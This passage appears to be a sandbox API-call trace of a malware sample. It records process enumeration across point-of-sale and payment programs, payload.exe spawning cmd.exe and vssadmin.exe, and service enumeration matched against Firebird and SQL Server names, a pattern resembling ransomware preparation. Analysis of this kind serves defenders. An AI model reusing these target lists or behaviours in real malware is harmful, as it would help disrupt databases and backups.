cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0072.800] lstrlenW (lpString="whatsapp.exe") returned 12 [0072.800] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0072.801] lstrlenW (lpString="winscp.exe") returned 10 [0072.801] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0072.802] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0072.802] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0072.803] lstrlenW (lpString="active-charge.exe") returned 17 [0072.803] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0072.803] lstrlenW (lpString="accupos.exe") returned 11 [0072.803] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0072.804] lstrlenW (lpString="afr38.exe") returned 9 [0072.804] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0072.805] lstrlenW (lpString="aldelo.exe") returned 10 [0072.805] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0072.806] lstrlenW (lpString="ccv_server.exe") returned 14 [0072.806] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0072.806] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0072.806] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0072.807] lstrlenW (lpString="creditservice.exe") returned 17 [0072.807] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0072.808] lstrlenW (lpString="edcsvr.exe") returned 10 [0072.808] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0072.809] lstrlenW (lpString="fpos.exe") returned 8 [0072.809] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0072.809] lstrlenW (lpString="isspos.exe") returned 10 [0072.810] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0072.810] lstrlenW (lpString="mxslipstream.exe") returned 16 [0072.810] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0072.811] lstrlenW (lpString="omnipos.exe") returned 11 [0072.811] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0072.812] lstrlenW (lpString="spcwin.exe") returned 10 [0072.812] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0072.812] lstrlenW (lpString="spgagentservice.exe") returned 19 [0072.812] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0072.813] lstrlenW (lpString="utg2.exe") returned 8 [0072.813] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0072.814] lstrlenW (lpString="slope.exe") returned 9 [0072.814] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0072.815] lstrlenW (lpString="entered.exe") returned 11 [0072.815] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0072.815] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0072.815] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0072.816] lstrlenW (lpString="attach.exe") returned 10 [0072.816] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0072.816] lstrlenW (lpString="obligations.exe") returned 15 [0072.816] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0072.817] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0072.817] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.093] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0073.093] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0073.094] lstrlenW (lpString="taskhost.exe") returned 12 [0073.094] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0073.094] lstrlenW (lpString="payload.exe") returned 11 [0073.094] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.095] lstrlenW (lpString="cmd.exe") returned 7 [0073.095] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.096] lstrlenW (lpString="conhost.exe") returned 11 [0073.096] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0073.096] lstrlenW (lpString="vssadmin.exe") returned 12 [0073.096] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0073.097] lstrlenW (lpString="VSSVC.exe") returned 9 [0073.097] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.097] lstrlenW (lpString="svchost.exe") returned 11 [0073.098] Process32NextW (in: hSnapshot=0x1f4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0073.098] CloseHandle (hObject=0x1f4) returned 1 [0073.098] Sleep (dwMilliseconds=0x1f4) [0073.835] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626ca8 [0073.837] EnumServicesStatusExW (in: hSCManager=0x626ca8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0073.841] GetLastError () returned 0xea [0073.841] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12c6) returned 0x628500 [0073.842] EnumServicesStatusExW (in: hSCManager=0x626ca8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x628500, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x628500, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0073.915] CloseServiceHandle (hSCObject=0x626ca8) returned 1 [0073.915] lstrlenW (lpString="Appinfo") returned 7 [0073.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0073.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0073.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0073.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0073.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0073.915] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0073.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0073.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0073.915] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0073.915] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0073.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0073.915] lstrlenW (lpString="AudioSrv") returned 8 [0073.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0073.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0073.915] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0073.915] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0073.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0073.915] lstrlenW (lpString="BFE") returned 3 [0073.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0073.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0073.915] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0073.915] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0073.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0073.915] lstrlenW (lpString="CryptSvc") returned 8 [0073.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0073.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0073.916] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0073.916] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0073.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0073.916] lstrlenW (lpString="CscService") returned 10 [0073.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0073.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0073.916] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0073.916] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0073.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0073.916] lstrlenW (lpString="DcomLaunch") returned 10 [0073.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0073.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0073.916] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0073.916] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0073.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0073.916] lstrlenW (lpString="Dhcp") returned 4 [0073.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0073.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0073.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0073.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0073.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0073.916] lstrlenW (lpString="Dnscache") returned 8 [0073.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0073.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0073.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0073.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0073.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0073.916] lstrlenW (lpString="DPS") returned 3 [0073.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0073.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0073.916] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0073.917] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0073.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0073.917] lstrlenW (lpString="eventlog") returned 8 [0073.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0073.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0073.917] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0073.917] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0073.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0073.917] lstrlenW (lpString="EventSystem") returned 11 [0073.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0073.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0073.917] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0073.917] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0073.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0073.917] lstrlenW (lpString="gpsvc") returned 5 [0073.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0073.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0073.917] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0073.917] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0073.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0073.917] lstrlenW (lpString="iphlpsvc") returned 8 [0073.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0073.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0073.917] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0073.917] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0073.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0073.917] lstrlenW (lpString="LanmanServer") returned 12 [0073.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0073.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0073.917] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0073.917] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0073.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0073.918] lstrlenW (lpString="LanmanWorkstation") returned 17 [0073.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0073.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0073.918] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0073.918] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0073.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0073.918] lstrlenW (lpString="lmhosts") returned 7 [0073.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0073.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0073.918] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0073.918] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0073.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0073.918] lstrlenW (lpString="MMCSS") returned 5 [0073.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0073.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0073.918] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0073.918] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0073.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0073.918] lstrlenW (lpString="MpsSvc") returned 6 [0073.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0073.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0073.918] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0073.918] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0073.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0073.918] lstrlenW (lpString="Netman") returned 6 [0073.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0073.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0073.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0073.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0073.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0073.918] lstrlenW (lpString="netprofm") returned 8 [0073.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0073.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0073.919] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0073.919] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0073.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0073.919] lstrlenW (lpString="NlaSvc") returned 6 [0073.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0073.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0073.919] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0073.919] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0073.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0073.919] lstrlenW (lpString="nsi") returned 3 [0073.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0073.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0073.919] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0073.919] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0073.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0073.919] lstrlenW (lpString="PcaSvc") returned 6 [0073.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0073.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0073.919] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0073.919] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0073.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0073.919] lstrlenW (lpString="PlugPlay") returned 8 [0073.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0073.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0073.919] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0073.919] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0073.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0073.919] lstrlenW (lpString="Power") returned 5 [0073.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0073.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0073.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0073.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0073.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0073.920] lstrlenW (lpString="ProfSvc") returned 7 [0073.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0073.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0073.920] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0073.920] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0073.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0073.920] lstrlenW (lpString="RpcEptMapper") returned 12 [0073.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0073.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0073.920] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0073.920] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0073.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0073.920] lstrlenW (lpString="RpcSs") returned 5 [0073.920] lstrcmpiW 